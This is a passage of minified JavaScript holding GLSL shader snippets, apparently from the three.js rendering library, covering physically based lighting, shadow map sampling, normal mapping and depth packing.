viewDir, roughness );\n\t\tvec4 t1 = texture2D( ltc_1, uv );\n\t\tvec4 t2 = texture2D( ltc_2, uv );\n\t\tmat3 mInv = mat3(\n\t\t\tvec3( t1.x, 0, t1.y ),\n\t\t\tvec3(\t\t0, 1,\t\t0 ),\n\t\t\tvec3( t1.z, 0, t1.w )\n\t\t);\n\t\tvec3 fresnel = ( material.specularColor * t2.x + ( vec3( 1.0 ) - material.specularColor ) * t2.y );\n\t\treflectedLight.directSpecular += lightColor * fresnel * LTC_Evaluate( normal, viewDir, position, mInv, rectCoords );\n\t\treflectedLight.directDiffuse += lightColor * material.diffuseColor * LTC_Evaluate( normal, viewDir, position, mat3( 1.0 ), rectCoords );\n\t}\n#endif\nvoid RE_Direct_Physical( const in IncidentLight directLight, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n\tfloat dotNL = saturate( dot( geometry.normal, directLight.direction ) );\n\tvec3 irradiance = dotNL * directLight.color;\n\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\tirradiance *= PI;\n\t#endif\n\t#ifdef CLEARCOAT\n\t\tfloat ccDotNL = saturate( dot( geometry.clearcoatNormal, directLight.direction ) );\n\t\tvec3 ccIrradiance = ccDotNL * directLight.color;\n\t\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\t\tccIrradiance *= PI;\n\t\t#endif\n\t\tfloat clearcoatDHR = material.clearcoat * clearcoatDHRApprox( material.clearcoatRoughness, ccDotNL );\n\t\treflectedLight.directSpecular += ccIrradiance * material.clearcoat * BRDF_Specular_GGX( directLight, geometry.viewDir, geometry.clearcoatNormal, vec3( DEFAULT_SPECULAR_COEFFICIENT ), material.clearcoatRoughness );\n\t#else\n\t\tfloat clearcoatDHR = 0.0;\n\t#endif\n\t#ifdef USE_SHEEN\n\t\treflectedLight.directSpecular += ( 1.0 - clearcoatDHR ) * irradiance * BRDF_Specular_Sheen(\n\t\t\tmaterial.specularRoughness,\n\t\t\tdirectLight.direction,\n\t\t\tgeometry,\n\t\t\tmaterial.sheenColor\n\t\t);\n\t#else\n\t\treflectedLight.directSpecular += ( 1.0 - clearcoatDHR ) * irradiance * BRDF_Specular_GGX( directLight, geometry.viewDir, geometry.normal, material.specularColor, material.specularRoughness);\n\t#endif\n\treflectedLight.directDiffuse += ( 1.0 - clearcoatDHR ) * irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\nvoid RE_IndirectDiffuse_Physical( const in vec3 irradiance, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n\treflectedLight.indirectDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\nvoid RE_IndirectSpecular_Physical( const in vec3 radiance, const in vec3 irradiance, const in vec3 clearcoatRadiance, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight) {\n\t#ifdef CLEARCOAT\n\t\tfloat ccDotNV = saturate( dot( geometry.clearcoatNormal, geometry.viewDir ) );\n\t\treflectedLight.indirectSpecular += clearcoatRadiance * material.clearcoat * BRDF_Specular_GGX_Environment( geometry.viewDir, geometry.clearcoatNormal, vec3( DEFAULT_SPECULAR_COEFFICIENT ), material.clearcoatRoughness );\n\t\tfloat ccDotNL = ccDotNV;\n\t\tfloat clearcoatDHR = material.clearcoat * clearcoatDHRApprox( material.clearcoatRoughness, ccDotNL );\n\t#else\n\t\tfloat clearcoatDHR = 0.0;\n\t#endif\n\tfloat clearcoatInv = 1.0 - clearcoatDHR;\n\tvec3 singleScattering = vec3( 0.0 );\n\tvec3 multiScattering = vec3( 0.0 );\n\tvec3 cosineWeightedIrradiance = irradiance * RECIPROCAL_PI;\n\tBRDF_Specular_Multiscattering_Environment( geometry, material.specularColor, material.specularRoughness, singleScattering, multiScattering );\n\tvec3 diffuse = material.diffuseColor * ( 1.0 - ( singleScattering + multiScattering ) );\n\treflectedLight.indirectSpecular += clearcoatInv * radiance * singleScattering;\n\treflectedLight.indirectSpecular += multiScattering * cosineWeightedIrradiance;\n\treflectedLight.indirectDiffuse += diffuse * cosineWeightedIrradiance;\n}\n#define RE_Direct\t\t\t\tRE_Direct_Physical\n#define RE_Direct_RectArea\t\tRE_Direct_RectArea_Physical\n#define RE_IndirectDiffuse\t\tRE_IndirectDiffuse_Physical\n#define RE_IndirectSpecular\t\tRE_IndirectSpecular_Physical\nfloat computeSpecularOcclusion( const in float dotNV, const in float ambientOcclusion, const in float roughness ) {\n\treturn saturate( pow( dotNV + ambientOcclusion, exp2( - 16.0 * roughness - 1.0 ) ) - 1.0 + ambientOcclusion );\n}",lights_fragment_begin:"\nGeometricContext geometry;\ngeometry.position = - vViewPosition;\ngeometry.normal = normal;\ngeometry.viewDir = ( isOrthographic ) ? vec3( 0, 0, 1 ) : normalize( vViewPosition );\n#ifdef CLEARCOAT\n\tgeometry.clearcoatNormal = clearcoatNormal;\n#endif\nIncidentLight directLight;\n#if ( NUM_POINT_LIGHTS > 0 ) && defined( RE_Direct )\n\tPointLight pointLight;\n\t#if defined( USE_SHADOWMAP ) && NUM_POINT_LIGHT_SHADOWS > 0\n\tPointLightShadow pointLightShadow;\n\t#endif\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n\t\tpointLight = pointLights[ i ];\n\t\tgetPointDirectLightIrradiance( pointLight, geometry, directLight );\n\t\t#if defined( USE_SHADOWMAP ) && ( UNROLLED_LOOP_INDEX < NUM_POINT_LIGHT_SHADOWS )\n\t\tpointLightShadow = pointLightShadows[ i ];\n\t\tdirectLight.color *= all( bvec2( directLight.visible, receiveShadow ) ) ? getPointShadow( pointShadowMap[ i ], pointLightShadow.shadowMapSize, pointLightShadow.shadowBias, pointLightShadow.shadowRadius, vPointShadowCoord[ i ], pointLightShadow.shadowCameraNear, pointLightShadow.shadowCameraFar ) : 1.0;\n\t\t#endif\n\t\tRE_Direct( directLight, geometry, material, reflectedLight );\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if ( NUM_SPOT_LIGHTS > 0 ) && defined( RE_Direct )\n\tSpotLight spotLight;\n\t#if defined( USE_SHADOWMAP ) && NUM_SPOT_LIGHT_SHADOWS > 0\n\tSpotLightShadow spotLightShadow;\n\t#endif\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n\t\tspotLight = spotLights[ i ];\n\t\tgetSpotDirectLightIrradiance( spotLight, geometry, directLight );\n\t\t#if defined( USE_SHADOWMAP ) && ( UNROLLED_LOOP_INDEX < NUM_SPOT_LIGHT_SHADOWS )\n\t\tspotLightShadow = spotLightShadows[ i ];\n\t\tdirectLight.color *= all( bvec2( directLight.visible, receiveShadow ) ) ? getShadow( spotShadowMap[ i ], spotLightShadow.shadowMapSize, spotLightShadow.shadowBias, spotLightShadow.shadowRadius, vSpotShadowCoord[ i ] ) : 1.0;\n\t\t#endif\n\t\tRE_Direct( directLight, geometry, material, reflectedLight );\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if ( NUM_DIR_LIGHTS > 0 ) && defined( RE_Direct )\n\tDirectionalLight directionalLight;\n\t#if defined( USE_SHADOWMAP ) && NUM_DIR_LIGHT_SHADOWS > 0\n\tDirectionalLightShadow directionalLightShadow;\n\t#endif\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n\t\tdirectionalLight = directionalLights[ i ];\n\t\tgetDirectionalDirectLightIrradiance( directionalLight, geometry, directLight );\n\t\t#if defined( USE_SHADOWMAP ) && ( UNROLLED_LOOP_INDEX < NUM_DIR_LIGHT_SHADOWS )\n\t\tdirectionalLightShadow = directionalLightShadows[ i ];\n\t\tdirectLight.color *= all( bvec2( directLight.visible, receiveShadow ) ) ? getShadow( directionalShadowMap[ i ], directionalLightShadow.shadowMapSize, directionalLightShadow.shadowBias, directionalLightShadow.shadowRadius, vDirectionalShadowCoord[ i ] ) : 1.0;\n\t\t#endif\n\t\tRE_Direct( directLight, geometry, material, reflectedLight );\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if ( NUM_RECT_AREA_LIGHTS > 0 ) && defined( RE_Direct_RectArea )\n\tRectAreaLight rectAreaLight;\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_RECT_AREA_LIGHTS; i ++ ) {\n\t\trectAreaLight = rectAreaLights[ i ];\n\t\tRE_Direct_RectArea( rectAreaLight, geometry, material, reflectedLight );\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if defined( RE_IndirectDiffuse )\n\tvec3 iblIrradiance = vec3( 0.0 );\n\tvec3 irradiance = getAmbientLightIrradiance( ambientLightColor );\n\tirradiance += getLightProbeIrradiance( lightProbe, geometry );\n\t#if ( NUM_HEMI_LIGHTS > 0 )\n\t\t#pragma unroll_loop_start\n\t\tfor ( int i = 0; i < NUM_HEMI_LIGHTS; i ++ ) {\n\t\t\tirradiance += getHemisphereLightIrradiance( hemisphereLights[ i ], geometry );\n\t\t}\n\t\t#pragma unroll_loop_end\n\t#endif\n#endif\n#if defined( RE_IndirectSpecular )\n\tvec3 radiance = vec3( 0.0 );\n\tvec3 clearcoatRadiance = vec3( 0.0 );\n#endif",lights_fragment_maps:"#if defined( RE_IndirectDiffuse )\n\t#ifdef USE_LIGHTMAP\n\t\tvec4 lightMapTexel= texture2D( lightMap, vUv2 );\n\t\tvec3 lightMapIrradiance = lightMapTexelToLinear( lightMapTexel ).rgb * lightMapIntensity;\n\t\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\t\tlightMapIrradiance *= PI;\n\t\t#endif\n\t\tirradiance += lightMapIrradiance;\n\t#endif\n\t#if defined( USE_ENVMAP ) && defined( STANDARD ) && defined( ENVMAP_TYPE_CUBE_UV )\n\t\tiblIrradiance += getLightProbeIndirectIrradiance( geometry, maxMipLevel );\n\t#endif\n#endif\n#if defined( USE_ENVMAP ) && defined( RE_IndirectSpecular )\n\tradiance += getLightProbeIndirectRadiance( geometry.viewDir, geometry.normal, material.specularRoughness, maxMipLevel );\n\t#ifdef CLEARCOAT\n\t\tclearcoatRadiance += getLightProbeIndirectRadiance( geometry.viewDir, geometry.clearcoatNormal, material.clearcoatRoughness, maxMipLevel );\n\t#endif\n#endif",lights_fragment_end:"#if defined( RE_IndirectDiffuse )\n\tRE_IndirectDiffuse( irradiance, geometry, material, reflectedLight );\n#endif\n#if defined( RE_IndirectSpecular )\n\tRE_IndirectSpecular( radiance, iblIrradiance, clearcoatRadiance, geometry, material, reflectedLight );\n#endif",logdepthbuf_fragment:"#if defined( USE_LOGDEPTHBUF ) && defined( USE_LOGDEPTHBUF_EXT )\n\tgl_FragDepthEXT = vIsPerspective == 0.0 ? gl_FragCoord.z : log2( vFragDepth ) * logDepthBufFC * 0.5;\n#endif",logdepthbuf_pars_fragment:"#if defined( USE_LOGDEPTHBUF ) && defined( USE_LOGDEPTHBUF_EXT )\n\tuniform float logDepthBufFC;\n\tvarying float vFragDepth;\n\tvarying float vIsPerspective;\n#endif",logdepthbuf_pars_vertex:"#ifdef USE_LOGDEPTHBUF\n\t#ifdef USE_LOGDEPTHBUF_EXT\n\t\tvarying float vFragDepth;\n\t\tvarying float vIsPerspective;\n\t#else\n\t\tuniform float logDepthBufFC;\n\t#endif\n#endif",logdepthbuf_vertex:"#ifdef USE_LOGDEPTHBUF\n\t#ifdef USE_LOGDEPTHBUF_EXT\n\t\tvFragDepth = 1.0 + gl_Position.w;\n\t\tvIsPerspective = float( isPerspectiveMatrix( projectionMatrix ) );\n\t#else\n\t\tif ( isPerspectiveMatrix( projectionMatrix ) ) {\n\t\t\tgl_Position.z = log2( max( EPSILON, gl_Position.w + 1.0 ) ) * logDepthBufFC - 1.0;\n\t\t\tgl_Position.z *= gl_Position.w;\n\t\t}\n\t#endif\n#endif",map_fragment:"#ifdef USE_MAP\n\tvec4 texelColor = texture2D( map, vUv );\n\ttexelColor = mapTexelToLinear( texelColor );\n\tdiffuseColor *= texelColor;\n#endif",map_pars_fragment:"#ifdef USE_MAP\n\tuniform sampler2D map;\n#endif",map_particle_fragment:"#if defined( USE_MAP ) || defined( USE_ALPHAMAP )\n\tvec2 uv = ( uvTransform * vec3( gl_PointCoord.x, 1.0 - gl_PointCoord.y, 1 ) ).xy;\n#endif\n#ifdef USE_MAP\n\tvec4 mapTexel = texture2D( map, uv );\n\tdiffuseColor *= mapTexelToLinear( mapTexel );\n#endif\n#ifdef USE_ALPHAMAP\n\tdiffuseColor.a *= texture2D( alphaMap, uv ).g;\n#endif",map_particle_pars_fragment:"#if defined( USE_MAP ) || defined( USE_ALPHAMAP )\n\tuniform mat3 uvTransform;\n#endif\n#ifdef USE_MAP\n\tuniform sampler2D map;\n#endif\n#ifdef USE_ALPHAMAP\n\tuniform sampler2D alphaMap;\n#endif",metalnessmap_fragment:"float metalnessFactor = metalness;\n#ifdef USE_METALNESSMAP\n\tvec4 texelMetalness = texture2D( metalnessMap, vUv );\n\tmetalnessFactor *= texelMetalness.b;\n#endif",metalnessmap_pars_fragment:"#ifdef USE_METALNESSMAP\n\tuniform sampler2D metalnessMap;\n#endif",morphnormal_vertex:"#ifdef USE_MORPHNORMALS\n\tobjectNormal *= morphTargetBaseInfluence;\n\tobjectNormal += morphNormal0 * morphTargetInfluences[ 0 ];\n\tobjectNormal += morphNormal1 * morphTargetInfluences[ 1 ];\n\tobjectNormal += morphNormal2 * morphTargetInfluences[ 2 ];\n\tobjectNormal += morphNormal3 * morphTargetInfluences[ 3 ];\n#endif",morphtarget_pars_vertex:"#ifdef USE_MORPHTARGETS\n\tuniform float morphTargetBaseInfluence;\n\t#ifndef USE_MORPHNORMALS\n\t\tuniform float morphTargetInfluences[ 8 ];\n\t#else\n\t\tuniform float morphTargetInfluences[ 4 ];\n\t#endif\n#endif",morphtarget_vertex:"#ifdef USE_MORPHTARGETS\n\ttransformed *= morphTargetBaseInfluence;\n\ttransformed += morphTarget0 * morphTargetInfluences[ 0 ];\n\ttransformed += morphTarget1 * morphTargetInfluences[ 1 ];\n\ttransformed += morphTarget2 * morphTargetInfluences[ 2 ];\n\ttransformed += morphTarget3 * morphTargetInfluences[ 3 ];\n\t#ifndef USE_MORPHNORMALS\n\t\ttransformed += morphTarget4 * morphTargetInfluences[ 4 ];\n\t\ttransformed += morphTarget5 * morphTargetInfluences[ 5 ];\n\t\ttransformed += morphTarget6 * morphTargetInfluences[ 6 ];\n\t\ttransformed += morphTarget7 * morphTargetInfluences[ 7 ];\n\t#endif\n#endif",normal_fragment_begin:"float faceDirection = gl_FrontFacing ? 1.0 : - 1.0;\n#ifdef FLAT_SHADED\n\tvec3 fdx = vec3( dFdx( vViewPosition.x ), dFdx( vViewPosition.y ), dFdx( vViewPosition.z ) );\n\tvec3 fdy = vec3( dFdy( vViewPosition.x ), dFdy( vViewPosition.y ), dFdy( vViewPosition.z ) );\n\tvec3 normal = normalize( cross( fdx, fdy ) );\n#else\n\tvec3 normal = normalize( vNormal );\n\t#ifdef DOUBLE_SIDED\n\t\tnormal = normal * faceDirection;\n\t#endif\n\t#ifdef USE_TANGENT\n\t\tvec3 tangent = normalize( vTangent );\n\t\tvec3 bitangent = normalize( vBitangent );\n\t\t#ifdef DOUBLE_SIDED\n\t\t\ttangent = tangent * faceDirection;\n\t\t\tbitangent = bitangent * faceDirection;\n\t\t#endif\n\t\t#if defined( TANGENTSPACE_NORMALMAP ) || defined( USE_CLEARCOAT_NORMALMAP )\n\t\t\tmat3 vTBN = mat3( tangent, bitangent, normal );\n\t\t#endif\n\t#endif\n#endif\nvec3 geometryNormal = normal;",normal_fragment_maps:"#ifdef OBJECTSPACE_NORMALMAP\n\tnormal = texture2D( normalMap, vUv ).xyz * 2.0 - 1.0;\n\t#ifdef FLIP_SIDED\n\t\tnormal = - normal;\n\t#endif\n\t#ifdef DOUBLE_SIDED\n\t\tnormal = normal * faceDirection;\n\t#endif\n\tnormal = normalize( normalMatrix * normal );\n#elif defined( TANGENTSPACE_NORMALMAP )\n\tvec3 mapN = texture2D( normalMap, vUv ).xyz * 2.0 - 1.0;\n\tmapN.xy *= normalScale;\n\t#ifdef USE_TANGENT\n\t\tnormal = normalize( vTBN * mapN );\n\t#else\n\t\tnormal = perturbNormal2Arb( -vViewPosition, normal, mapN, faceDirection );\n\t#endif\n#elif defined( USE_BUMPMAP )\n\tnormal = perturbNormalArb( -vViewPosition, normal, dHdxy_fwd(), faceDirection );\n#endif",normalmap_pars_fragment:"#ifdef USE_NORMALMAP\n\tuniform sampler2D normalMap;\n\tuniform vec2 normalScale;\n#endif\n#ifdef OBJECTSPACE_NORMALMAP\n\tuniform mat3 normalMatrix;\n#endif\n#if ! defined ( USE_TANGENT ) && ( defined ( TANGENTSPACE_NORMALMAP ) || defined ( USE_CLEARCOAT_NORMALMAP ) )\n\tvec3 perturbNormal2Arb( vec3 eye_pos, vec3 surf_norm, vec3 mapN, float faceDirection ) {\n\t\tvec3 q0 = vec3( dFdx( eye_pos.x ), dFdx( eye_pos.y ), dFdx( eye_pos.z ) );\n\t\tvec3 q1 = vec3( dFdy( eye_pos.x ), dFdy( eye_pos.y ), dFdy( eye_pos.z ) );\n\t\tvec2 st0 = dFdx( vUv.st );\n\t\tvec2 st1 = dFdy( vUv.st );\n\t\tvec3 N = surf_norm;\n\t\tvec3 q1perp = cross( q1, N );\n\t\tvec3 q0perp = cross( N, q0 );\n\t\tvec3 T = q1perp * st0.x + q0perp * st1.x;\n\t\tvec3 B = q1perp * st0.y + q0perp * st1.y;\n\t\tfloat det = max( dot( T, T ), dot( B, B ) );\n\t\tfloat scale = ( det == 0.0 ) ? 0.0 : faceDirection * inversesqrt( det );\n\t\treturn normalize( T * ( mapN.x * scale ) + B * ( mapN.y * scale ) + N * mapN.z );\n\t}\n#endif",clearcoat_normal_fragment_begin:"#ifdef CLEARCOAT\n\tvec3 clearcoatNormal = geometryNormal;\n#endif",clearcoat_normal_fragment_maps:"#ifdef USE_CLEARCOAT_NORMALMAP\n\tvec3 clearcoatMapN = texture2D( clearcoatNormalMap, vUv ).xyz * 2.0 - 1.0;\n\tclearcoatMapN.xy *= clearcoatNormalScale;\n\t#ifdef USE_TANGENT\n\t\tclearcoatNormal = normalize( vTBN * clearcoatMapN );\n\t#else\n\t\tclearcoatNormal = perturbNormal2Arb( - vViewPosition, clearcoatNormal, clearcoatMapN, faceDirection );\n\t#endif\n#endif",clearcoat_pars_fragment:"#ifdef USE_CLEARCOATMAP\n\tuniform sampler2D clearcoatMap;\n#endif\n#ifdef USE_CLEARCOAT_ROUGHNESSMAP\n\tuniform sampler2D clearcoatRoughnessMap;\n#endif\n#ifdef USE_CLEARCOAT_NORMALMAP\n\tuniform sampler2D clearcoatNormalMap;\n\tuniform vec2 clearcoatNormalScale;\n#endif",packing:"vec3 packNormalToRGB( const in vec3 normal ) {\n\treturn normalize( normal ) * 0.5 + 0.5;\n}\nvec3 unpackRGBToNormal( const in vec3 rgb ) {\n\treturn 2.0 * rgb.xyz - 1.0;\n}\nconst float PackUpscale = 256. / 255.;const float UnpackDownscale = 255. / 256.;\nconst vec3 PackFactors = vec3( 256. * 256. * 256., 256. * 256., 256. );\nconst vec4 UnpackFactors = UnpackDownscale / vec4( PackFactors, 1. );\nconst float ShiftRight8 = 1. / 256.;\nvec4 packDepthToRGBA( const in float v ) {\n\tvec4 r = vec4( fract( v * PackFactors ), v );\n\tr.yzw -= r.xyz * ShiftRight8;\treturn r * PackUpscale;\n}\nfloat unpackRGBAToDepth( const in vec4 v ) {\n\treturn dot( v, UnpackFactors );\n}\nvec4 pack2HalfToRGBA( vec2 v ) {\n\tvec4 r = vec4( v.x, fract( v.x * 255.0 ), v.y, fract( v.y * 255.0 ));\n\treturn vec4( r.x - r.y / 255.0, r.y, r.z - r.w / 255.0, r.w);\n}\nvec2 unpackRGBATo2Half( vec4 v ) {\n\treturn vec2( v.x + ( v.y / 255.0 ), v.z + ( v.w / 255.0 ) );\n}\nfloat viewZToOrthographicDepth( const in float viewZ, const in float near, const in float far ) {\n\treturn ( viewZ + near ) / ( near - far );\n}\nfloat orthographicDepthToViewZ( const in float linearClipZ, const in float near, const in float far ) {\n\treturn linearClipZ * ( near - far ) - near;\n}\nfloat viewZToPerspectiveDepth( const in float viewZ, const in float near, const in float far ) {\n\treturn (( near + viewZ ) * far ) / (( far - near ) * viewZ );\n}\nfloat perspectiveDepthToViewZ( const in float invClipZ, const in float near, const in float far ) {\n\treturn ( near * far ) / ( ( far - near ) * invClipZ - far );\n}",premultiplied_alpha_fragment:"#ifdef PREMULTIPLIED_ALPHA\n\tgl_FragColor.rgb *= gl_FragColor.a;\n#endif",project_vertex:"vec4 mvPosition = vec4( transformed, 1.0 );\n#ifdef USE_INSTANCING\n\tmvPosition = instanceMatrix * mvPosition;\n#endif\nmvPosition = modelViewMatrix * mvPosition;\ngl_Position = projectionMatrix * mvPosition;",dithering_fragment:"#ifdef DITHERING\n\tgl_FragColor.rgb = dithering( gl_FragColor.rgb );\n#endif",dithering_pars_fragment:"#ifdef DITHERING\n\tvec3 dithering( vec3 color ) {\n\t\tfloat grid_position = rand( gl_FragCoord.xy );\n\t\tvec3 dither_shift_RGB = vec3( 0.25 / 255.0, -0.25 / 255.0, 0.25 / 255.0 );\n\t\tdither_shift_RGB = mix( 2.0 * dither_shift_RGB, -2.0 * dither_shift_RGB, grid_position );\n\t\treturn color + dither_shift_RGB;\n\t}\n#endif",roughnessmap_fragment:"float roughnessFactor = roughness;\n#ifdef USE_ROUGHNESSMAP\n\tvec4 texelRoughness = texture2D( roughnessMap, vUv );\n\troughnessFactor *= texelRoughness.g;\n#endif",roughnessmap_pars_fragment:"#ifdef USE_ROUGHNESSMAP\n\tuniform sampler2D roughnessMap;\n#endif",shadowmap_pars_fragment:"#ifdef USE_SHADOWMAP\n\t#if NUM_DIR_LIGHT_SHADOWS > 0\n\t\tuniform sampler2D directionalShadowMap[ NUM_DIR_LIGHT_SHADOWS ];\n\t\tvarying vec4 vDirectionalShadowCoord[ NUM_DIR_LIGHT_SHADOWS ];\n\t\tstruct DirectionalLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t};\n\t\tuniform DirectionalLightShadow directionalLightShadows[ NUM_DIR_LIGHT_SHADOWS ];\n\t#endif\n\t#if NUM_SPOT_LIGHT_SHADOWS > 0\n\t\tuniform sampler2D spotShadowMap[ NUM_SPOT_LIGHT_SHADOWS ];\n\t\tvarying vec4 vSpotShadowCoord[ NUM_SPOT_LIGHT_SHADOWS ];\n\t\tstruct SpotLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t};\n\t\tuniform SpotLightShadow spotLightShadows[ NUM_SPOT_LIGHT_SHADOWS ];\n\t#endif\n\t#if NUM_POINT_LIGHT_SHADOWS > 0\n\t\tuniform sampler2D pointShadowMap[ NUM_POINT_LIGHT_SHADOWS ];\n\t\tvarying vec4 vPointShadowCoord[ NUM_POINT_LIGHT_SHADOWS ];\n\t\tstruct PointLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t\tfloat shadowCameraNear;\n\t\t\tfloat shadowCameraFar;\n\t\t};\n\t\tuniform PointLightShadow pointLightShadows[ NUM_POINT_LIGHT_SHADOWS ];\n\t#endif\n\tfloat texture2DCompare( sampler2D depths, vec2 uv, float compare ) {\n\t\treturn step( compare, unpackRGBAToDepth( texture2D( depths, uv ) ) );\n\t}\n\tvec2 texture2DDistribution( sampler2D shadow, vec2 uv ) {\n\t\treturn unpackRGBATo2Half( texture2D( shadow, uv ) );\n\t}\n\tfloat VSMShadow (sampler2D shadow, vec2 uv, float compare ){\n\t\tfloat occlusion = 1.0;\n\t\tvec2 distribution = texture2DDistribution( shadow, uv );\n\t\tfloat hard_shadow = step( compare , distribution.x );\n\t\tif (hard_shadow != 1.0 ) {\n\t\t\tfloat distance = compare - distribution.x ;\n\t\t\tfloat variance = max( 0.00000, distribution.y * distribution.y );\n\t\t\tfloat softness_probability = variance / (variance + distance * distance );\t\t\tsoftness_probability = clamp( ( softness_probability - 0.3 ) / ( 0.95 - 0.3 ), 0.0, 1.0 );\t\t\tocclusion = clamp( max( hard_shadow, softness_probability ), 0.0, 1.0 );\n\t\t}\n\t\treturn occlusion;\n\t}\n\tfloat getShadow( sampler2D shadowMap, vec2 shadowMapSize, float shadowBias, float shadowRadius, vec4 shadowCoord ) {\n\t\tfloat shadow = 1.0;\n\t\tshadowCoord.xyz /= shadowCoord.w;\n\t\tshadowCoord.z += shadowBias;\n\t\tbvec4 inFrustumVec = bvec4 ( shadowCoord.x >= 0.0, shadowCoord.x <= 1.0, shadowCoord.y >= 0.0, shadowCoord.y <= 1.0 );\n\t\tbool inFrustum = all( inFrustumVec );\n\t\tbvec2 frustumTestVec = bvec2( inFrustum, shadowCoord.z <= 1.0 );\n\t\tbool frustumTest = all( frustumTestVec );\n\t\tif ( frustumTest ) {\n\t\t#if defined( SHADOWMAP_TYPE_PCF )\n\t\t\tvec2 texelSize = vec2( 1.0 ) / shadowMapSize;\n\t\t\tfloat dx0 = - texelSize.x * shadowRadius;\n\t\t\tfloat dy0 = - texelSize.y * shadowRadius;\n\t\t\tfloat dx1 = + texelSize.x * shadowRadius;\n\t\t\tfloat dy1 = + texelSize.y * shadowRadius;\n\t\t\tfloat dx2 = dx0 / 2.0;\n\t\t\tfloat dy2 = dy0 / 2.0;\n\t\t\tfloat dx3 = dx1 / 2.0;\n\t\t\tfloat dy3 = dy1 / 2.0;\n\t\t\tshadow = (\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, dy0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, dy0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx2, dy2 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy2 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx3, dy2 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, 0.0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx2, 0.0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy, shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx3, 0.0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, 0.0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx2, dy3 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy3 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx3, dy3 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, dy1 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy1 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, dy1 ), shadowCoord.z )\n\t\t\t) * ( 1.0 / 17.0 );\n\t\t#elif defined( SHADOWMAP_TYPE_PCF_SOFT )\n\t\t\tvec2 texelSize = vec2( 1.0 ) / shadowMapSize;\n\t\t\tfloat dx = texelSize.x;\n\t\t\tfloat dy = texelSize.y;\n\t\t\tvec2 uv = shadowCoord.xy;\n\t\t\tvec2 f = fract( uv * shadowMapSize + 0.5 );\n\t\t\tuv -= f * texelSize;\n\t\t\tshadow = (\n\t\t\t\ttexture2DCompare( shadowMap, uv, shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, uv + vec2( dx, 0.0 ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, uv + vec2( 0.0, dy ), shadowCoord.z ) +\n\t\t\t\ttexture2DCompare( shadowMap, uv + texelSize, shadowCoord.z ) +\n\t\t\t\tmix( texture2DCompare( shadowMap, uv + vec2( -dx, 0.0 ), shadowCoord.z ), \n\t\t\t\t\t texture2DCompare( shadowMap, uv + vec2( 2.0 * dx, 0.0 ), shadowCoord.z ),\n\t\t\t\t\t f.x ) +\n\t\t\t\tmix( texture2DCompare( shadowMap, uv + vec2( -dx, dy ), shadowCoord.z ), \n\t\t\t\t\t texture2DCompare( shadowMap, uv + vec2( 2.0 * dx, dy ), shadowCoord.z ),\n\t\t\t\t\t f.x ) +\n\t\t\t\tmix( texture2DCompare( shadowMap, uv + vec2( 0.0, -dy ), shadowCoord.z ), \n\t\t\t\t\t texture2DCompare( shadowMap, uv + vec2( 0.0, 2.0 * dy ), shadowCoord.z ),\n\t\t\t\t\t f.y ) +\n\t\t\t\tmix( texture2DCompare( shadowMap, uv + vec2( dx, -dy ), shadowCoord.z ), \n\t\t\t\t\t texture2DCompare( shadowMap, uv + vec2( dx, 2.0 * dy ), shadowCoord.z ),\n\t\t\t\t\t f.y ) 